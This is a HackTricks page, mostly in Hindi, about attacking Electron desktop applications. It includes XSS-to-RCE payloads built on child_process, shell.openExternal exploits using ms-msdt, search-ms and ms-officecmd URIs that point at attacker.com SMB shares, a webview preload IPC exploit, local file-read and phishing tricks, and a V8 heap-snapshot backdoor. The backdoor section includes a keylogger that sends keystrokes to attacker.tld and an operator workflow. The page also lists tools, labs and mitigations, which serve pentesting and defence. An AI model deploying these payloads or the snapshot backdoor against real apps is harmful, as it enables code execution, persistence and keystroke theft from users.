Electron डेस्कटॉप ऐप्स
Reading time: 23 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
परिचय
Electron स्थानीय बैकएंड (NodeJS के साथ) और फ्रंटएंड (Chromium) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्र नहीं होते।
आम तौर पर आप Electron ऐप का कोड .asar
application के अंदर पाएँगे; कोड प्राप्त करने के लिए आपको इसे निकालना होगा:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electron app के स्रोत कोड में, packet.json
के अंदर, आप निर्दिष्ट main.js
फ़ाइल पा सकते हैं जहाँ security configs सेट किए गए हैं।
{
"name": "standard-notes",
"main": "./app/index.js",
Electron में 2 process प्रकार हैं:
- Main Process (NodeJS तक पूर्ण पहुँच होती है)
- Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए)
एक renderer process एक ब्राउज़र विंडो होगी जो एक फ़ाइल लोड करती है:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
main.js फ़ाइल के अंदर main प्रक्रिया में renderer प्रक्रिया की सेटिंग्स कॉन्फ़िगर की जा सकती हैं। कुछ कॉन्फ़िगरेशन Electron application को RCE या अन्य vulnerabilities मिलने से रोक सकते हैं यदि ये settings सही तरीके से कॉन्फ़िगर किए गए हों।
Electron application डिवाइस तक पहुँच कर सकता है via Node apis, हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
nodeIntegration
- डिफ़ॉल्ट रूप सेoff
है। अगरon
हो, तो renderer प्रक्रिया से node features तक पहुँचने की अनुमति देता है।contextIsolation
- डिफ़ॉल्ट रूप सेon
है। अगरoff
हो, तो main और renderer प्रक्रियाएँ अलग-थलग नहीं रहतीं।preload
- डिफ़ॉल्ट रूप से खाली है।sandbox
- डिफ़ॉल्ट रूप से off है। यह NodeJS के द्वारा की जाने वाली actions को सीमित करेगा।- Workers में Node Integration
nodeIntegrationInSubframes
- डिफ़ॉल्ट रूप सेoff
है।- यदि
nodeIntegration
सक्षम है, तो यह Electron application के भीतर iframes में लोड होने वाले web pages में Node.js APIs के उपयोग की अनुमति देगा। - यदि
nodeIntegration
निष्क्रिय है, तो preloads iframe में लोड होंगे
कॉन्फ़िगरेशन का उदाहरण:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
कुछ RCE payloads यहाँ:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
ट्रैफ़िक कैप्चर
start-main कॉन्फ़िगरेशन को संशोधित करें और निम्नलिखित जैसे proxy का उपयोग जोड़ें:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
यदि आप किसी Electron App को लोकली चला सकते हैं, तो संभव है कि आप इसे arbitrary javascript code चलाने के लिए मजबूर कर सकें। तरीका देखें:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
यदि nodeIntegration on पर सेट है, तो किसी वेब पेज का JavaScript आसानी से Node.js फीचर्स का उपयोग कर सकता है सिर्फ require()
कॉल करके। उदाहरण के लिए, Windows पर calc application चलाने का तरीका है:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
इस सेटिंग में निर्दिष्ट स्क्रिप्ट renderer में अन्य स्क्रिप्ट्स से पहले लोड की जाती है, इसलिए इसे Node APIs तक असीमित पहुँच है:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
इसलिए स्क्रिप्ट node-features को pages में export कर सकती है:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > यदि
contextIsolation
चालू है, तो यह काम नहीं करेगा
RCE: XSS + contextIsolation
The contextIsolation वेब पेज स्क्रिप्ट्स और JavaScript Electron के internal code के बीच अलग-अलग contexts प्रस्तुत करता है ताकि प्रत्येक कोड की JavaScript execution एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए आवश्यक फीचर है।
यदि contexts अलग नहीं हैं तो attacker कर सकता है:
- renderer में arbitrary JavaScript को execute करना (XSS या external साइटों पर navigation)
- preload या Electron internal code में उपयोग होने वाले built-in method को overwrite करना और उसे अपने function में बदलना
- overwrite किए गए function के उपयोग को trigger करना
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass click event
यदि किसी link पर click करने पर restrictions लागू हैं तो आप उन्हें bypass कर सकते हैं doing a middle click के ज़रिए, regular left click की जगह।
window.addEventListener('click', (e) => {
RCE via shell.openExternal
इन उदाहरणों के बारे में अधिक जानकारी के लिए देखें https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 और https://benjamin-altpeter.de/shell-openexternal-dangers/
जब Electron desktop application को deploy करते समय, nodeIntegration
और contextIsolation
की सही settings सुनिश्चित करना बेहद महत्वपूर्ण है। यह स्थापित है कि client-side remote code execution (RCE) जो preload scripts या Electron's native code को main process से लक्षित करती है, इन settings के साथ प्रभावी रूप से रोकी जाती है।
लिंक्स के साथ इंटरैक्ट करने या नए विंडो खोलने पर विशिष्ट event listeners ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण हैं:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
ये listeners डेस्कटॉप एप्लिकेशन द्वारा अपनी business logic लागू करने के लिए ओवरराइड किए जाते हैं। एप्लिकेशन यह आकलन करता है कि नेविगेट किया गया लिंक अंदर ही खुलना चाहिए या किसी बाहरी वेब ब्राउज़र में। यह निर्णय सामान्यतः openInternally
फ़ंक्शन के माध्यम से लिया जाता है। अगर यह फ़ंक्शन false
लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोलना चाहिए, shell.openExternal
फ़ंक्शन का उपयोग करते हुए।
Here is a simplified pseudocode:
Electron JS security best practices सलाह देती हैं कि openExternal
फ़ंक्शन के साथ अनविश्वसनीय कंटेंट को स्वीकार न किया जाए, क्योंकि यह विभिन्न प्रोटोकॉल्स के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम अलग-अलग प्रोटोकॉल्स को सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, यह संसाधन देखें, जो Windows प्रोटोकॉल उदाहरण शामिल करता है जो इस vulnerability का फायदा उठा सकते हैं।
In macos, the openExternal
function can be exploited to execute arbitrary commands like in shell.openExternal('file:///System/Applications/Calculator.app')
.
Windows प्रोटोकॉल exploits के उदाहरण शामिल हैं:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
This vuln can be found in this report.
webviewTag एक deprecated feature है जो renderer process में NodeJS के उपयोग की अनुमति देता है, और इसे अक्षम किया जाना चाहिए क्योंकि यह preload context के अंदर एक script लोड करने की अनुमति देता है, जैसे:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
इसलिए, एक हमलावर जो किसी भी पेज को लोड करने में सफल हो जाए, वह उस टैग का उपयोग करके load an arbitrary preload script लोड कर सकता है।
यह preload script फिर दुरुपयोग करके एक vulnerable IPC service (skype-new-window
) को कॉल करने के लिए इस्तेमाल किया गया, जो RCE पाने के लिए shell.openExternal
को कॉल कर रहा था:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation
contextIsolation
को अक्षम करने से <webview>
टैग का उपयोग संभव हो जाता है, <iframe>
की तरह, स्थानीय फ़ाइलों को पढ़ने और exfiltrating करने के लिए। नीचे दिया गया उदाहरण दिखाता है कि इस vulnerability का उपयोग करके आंतरिक फ़ाइलों की सामग्री कैसे पढ़ी जा सकती है:
इसके अलावा, आंतरिक फ़ाइल पढ़ने के लिए एक और तरीका साझा किया गया है, जो एक गंभीर local file read vulnerability को Electron desktop app में उजागर करता है। इसमें application को exploit करने और data exfiltrate करने के लिए एक script इंजेक्ट करना शामिल है:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
यदि एप्लिकेशन द्वारा उपयोग किया गया chromium पुराना है और उस पर known vulnerabilities मौजूद हैं, तो संभव है कि इसे exploit करके XSS के माध्यम से RCE प्राप्त किया जा सके।
You can see an example in this writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
मान लीजिए आपने XSS पाया है लेकिन आप cannot trigger RCE or steal internal files तो आप इसे steal credentials via phishing के लिए इस्तेमाल करने की कोशिश कर सकते हैं।
सबसे पहले आपको यह जानना होगा कि जब आप एक नया URL खोलने की कोशिश करते हैं तो क्या होता है — इसके लिए front-end में JS code की जाँच करें:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
openInternally
कॉल यह तय करेगा कि क्या कोई link प्लेटफ़ॉर्म का होने के नाते opened desktop window में रहेगा, or यह browser as a 3rd party resource में खोला जाएगा।
यदि फ़ंक्शन द्वारा प्रयुक्त regex vulnerable to bypasses है (उदाहरण के लिए not escaping the dots of subdomains), तो एक attacker XSS का दुरुपयोग करके open a new window which कर सकता है जो attackers की infrastructure पर स्थित होगा और user से asking for credentials करेगा:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocol
As mentioned in the docs pages running on file://
आपके सिस्टम की हर फ़ाइल तक एकतरफा पहुँच रखते हैं, जिसका मतलब यह है कि XSS issues can be used to load arbitrary files from the users machine. एक कस्टम प्रोटोकॉल उपयोग करने से ऐसे मुद्दों को रोका जा सकता है क्योंकि आप प्रोटोकॉल को केवल एक निर्दिष्ट फ़ाइल सेट पर सर्विंग तक सीमित कर सकते हैं।
Remote module
The Electron Remote module renderer processes को main process APIs तक पहुँच देने की अनुमति देता है, जो एक Electron एप्लिकेशन के भीतर संचार को आसान बनाता है। हालांकि, इस मॉड्यूल को सक्षम करने से गंभीर सुरक्षा जोखिम पैदा होते हैं। यह एप्लिकेशन के attack surface को बढ़ा देता है, जिससे यह cross-site scripting (XSS) जैसे vulnerabilities के लिए अधिक संवेदनशील हो जाता है।
tip
Although the remote module main से renderer processes तक कुछ APIs एक्सपोज़ करता है, सिर्फ़ इन components का दुरुपयोग कर सीधे RCE हासिल करना सीधा आसान नहीं होता। हालांकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
warning
Many apps that still use the remote module इसे ऐसे तरीके से उपयोग करते हैं कि renderer process में NodeIntegration को सक्षम करने की आवश्यकता होती है, जो एक बड़ा सुरक्षा जोखिम है।
Since Electron 14 the remote
module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.
To enable it, it'd first needed to enable it in the main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
फिर, renderer process module से objects import कर सकता है:
import { dialog, getCurrentWindow } from '@electron/remote'
यह blog post संकेत देता है कि remote module के object app
द्वारा कुछ रोचक functions एक्सपोज़ किए गए हैं:
app.relaunch([options])
- Restart करता है एप्लिकेशन को वर्तमान instance को बंद करके और एक नया instance लॉन्च करके। यह app updates या महत्वपूर्ण state changes के लिए उपयोगी है।
app.setAppLogsPath([path])
- एक निर्देशिका को परिभाषित या बनाता है जहाँ app logs संग्रहीत किये जाते हैं। लॉग्स को प्राप्त या संशोधित किया जा सकता है
app.getPath()
याapp.setPath(pathName, newPath)
का उपयोग करके। app.setAsDefaultProtocolClient(protocol[, path, args])
- वर्तमान executable को निर्दिष्ट protocol के लिए default handler के रूप में रजिस्टर करता है। आवश्यक होने पर आप एक custom path और arguments प्रदान कर सकते हैं।
app.setUserTasks(tasks)
- Tasks category में Jump List (Windows पर) के लिए tasks जोड़ता है। प्रत्येक task नियंत्रित कर सकता है कि app कैसे launch हो या कौन से arguments पास किए जाएँ।
app.importCertificate(options, callback)
- सिस्टम के certificate store में एक PKCS#12 certificate इम्पोर्ट करता है (सिर्फ Linux)। परिणाम को हैंडल करने के लिए एक callback का उपयोग किया जा सकता है।
app.moveToApplicationsFolder([options])
- एप्लिकेशन को Applications folder में स्थानांतरित करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए एक standard installation सुनिश्चित करने में मदद करता है।
app.setJumpList(categories)
- Windows पर एक custom Jump List सेट या हटाता है। आप यह निर्धारित करने के लिए categories निर्दिष्ट कर सकते हैं कि tasks उपयोगकर्ता को कैसे दिखाई दें।
app.setLoginItemSettings(settings)
- यह कॉन्फ़िगर करता है कि कौन से executables login पर लॉन्च होंगे और उनके साथ कौन से options होंगे (केवल macOS और Windows)।
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences मॉड्यूल
Electron में मुख्य API है जो system preferences तक पहुँचने और सिस्टम इवेंट्स उत्पन्न करने के लिए उपयोग होता है। subscribeNotification, subscribeWorkspaceNotification, getUserDefault, और setUserDefault जैसे मेथड सभी इस मॉड्यूल का हिस्सा हैं।
उदाहरण उपयोग:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Listens NSDistributedNotificationCenter का उपयोग करके native macOS notifications को सुनता है।
- macOS Catalina से पहले, आप CFNotificationCenterAddObserver में nil पास करके सभी distributed notifications को sniff कर सकते थे।
- Catalina / Big Sur के बाद, sandboxed apps फिर भी नाम द्वारा notifications रजिस्टर करके कई events (उदा., screen locks/unlocks, volume mounts, network activity, आदि) को subscribe कर सकते हैं।
getUserDefault / setUserDefault
-
NSUserDefaults के साथ इंटरफेस करता है, जो macOS पर application या global preferences को स्टोर करता है।
-
getUserDefault संवेदनशील जानकारी प्राप्त कर सकता है, जैसे कि हाल की फाइल लोकेशन (recent file locations) या उपयोगकर्ता का भौगोलिक स्थान (user’s geographic location)।
-
setUserDefault इन preferences को बदल सकता है, जिससे किसी app की configuration प्रभावित हो सकती है।
-
पुराने Electron versions (v8.3.0 से पहले) में, केवल NSUserDefaults का standard suite ही उपलब्ध (accessible) था।
Shell.showItemInFolder
यह function दिए गए फ़ाइल को file manager में दिखाता है, जो फ़ाइल को स्वचालित रूप से execute कर सकता है।
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron apps में Content Security Policy (CSP) होना चाहिए ताकि XSS attacks से बचा जा सके। CSP एक security standard है जो ब्राउज़र में untrusted code के execution को रोकने में मदद करता है।
यह आमतौर पर main.js
फाइल या index.html
टेम्पलेट में meta tag के अंदर CSP के साथ configured होता है।
For more information check:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity Electron-based applications में misconfigurations और security anti-patterns पहचानने के लिए एक tool है।
- Electrolint Electronegativity का उपयोग करने वाला Electron applications के लिए एक open source VS Code plugin है।
- nodejsscan vulnerable third party libraries की जाँच के लिए
- Electro.ng: इसे खरीदना पड़ेगा
Labs
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s आप vulnerable Electron apps को exploit करने के लिए एक lab पा सकते हैं।
कुछ कमांड्स जो lab में आपकी मदद करेंगे:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron और Chromium-based apps startup पर prebuilt V8 heap snapshot को deserialize करते हैं (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) ताकि प्रत्येक V8 isolate (main, preload, renderer) initialize हो सके। ऐतिहासिक रूप से, Electron’s integrity fuses इन snapshots को executable content के रूप में treat नहीं करती थीं, इसलिए वे fuse-based integrity enforcement और OS code-signing checks दोनों से बच निकलती थीं। नतीजतन, user-writable installation में snapshot को replace करना signed binaries या ASAR को modify किए बिना ऐप के अंदर stealthy, persistent code execution प्रदान करता था।
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation और OnlyLoadAppFromAsar ASAR के अंदर app JavaScript को validate करते हैं, लेकिन वे V8 heap snapshots को कवर नहीं करते थे (CVE-2025-55305)। Chromium similarly does not integrity-check snapshots.
- Attack preconditions: ऐप की installation directory में local file write करने की क्षमता। यह उन सिस्टमों पर सामान्य है जहाँ Electron apps या Chromium browsers user-writable paths के तहत install होते हैं (उदा., %AppData%\Local on Windows; /Applications कुछ शर्तों के साथ on macOS)।
- Effect: किसी भी isolate में attacker JavaScript का reliable execution एक अक्सर उपयोग किए जाने वाले builtin (एक “gadget”) को clobber करके संभव होता है, जिससे persistence और code-signing verification से बचाव सक्षम हो जाता है।
- Affected surface: Electron apps (यहाँ तक कि fuses enabled होने पर भी) और वे Chromium-based browsers जो snapshots को user-writable locations से लोड करते हैं।
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (main और renderer में अलग कोड चलाना)
- Main process detection: Node-only globals जैसे process.pid, process.binding(), या process.dlopen मुख्य process isolate में मौजूद रहते हैं।
- Browser/renderer detection: Browser-only globals जैसे alert डॉक्यूमेंट context में चलने पर उपलब्ध होते हैं।
Example gadget जो एक बार main-process की Node capabilities की जांच करता है
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/browser-context data theft PoC (जैसे Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Operator workflow
- payload.js लिखें जो एक सामान्य builtin (e.g., Array.isArray) को ओवरराइड करे और वैकल्पिक रूप से प्रति isolate ब्रांच करे।
- Chromium स्रोतों के बिना snapshot बनाएं:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- लक्षित एप्लिकेशन की snapshot फ़ाइल(ें) को ओवरराइट करें:
- v8_context_snapshot.bin (हमेशा उपयोग होता है)
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग किया गया है)
- एप्लिकेशन लॉन्च करें; gadget तब execute होगा जब भी चुना गया builtin उपयोग किया जाएगा।
Notes and considerations
- Integrity/signature bypass: Snapshot फ़ाइलों को code-signing checks द्वारा native executables की तरह नहीं माना जाता है और (ऐतिहासिक रूप से) इन्हें Electron’s fuses या Chromium integrity controls द्वारा कवर नहीं किया गया था।
- Persistence: user-writable install में snapshot को बदलना आमतौर पर app restarts के बाद भी सुरक्षित रहता है और यह एक signed, legitimate app जैसा दिखता है।
- Chromium browsers: समान छेड़छाड़ का विचार उन Chrome/derivatives पर लागू होता है जो user-writable स्थानों में इंस्टॉल हैं। Chrome के पास अन्य integrity mitigations हैं पर यह स्पष्ट रूप से physically local attacks को अपने threat model से बाहर रखता है।
Detection and mitigations
- Snapshot को executable content के रूप में मानें और इन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix).
- admin-writable-only install स्थान पसंद करें; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए baseline और hashes की निगरानी करें।
- early-runtime builtin clobbering और अप्रत्याशित snapshot बदलावों का पता लगाएं; जब deserialized snapshots अपेक्षित मानों से मेल नहीं खाते तो alert करें।
References
-
https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
-
https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
-
More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
-
https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
-
https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।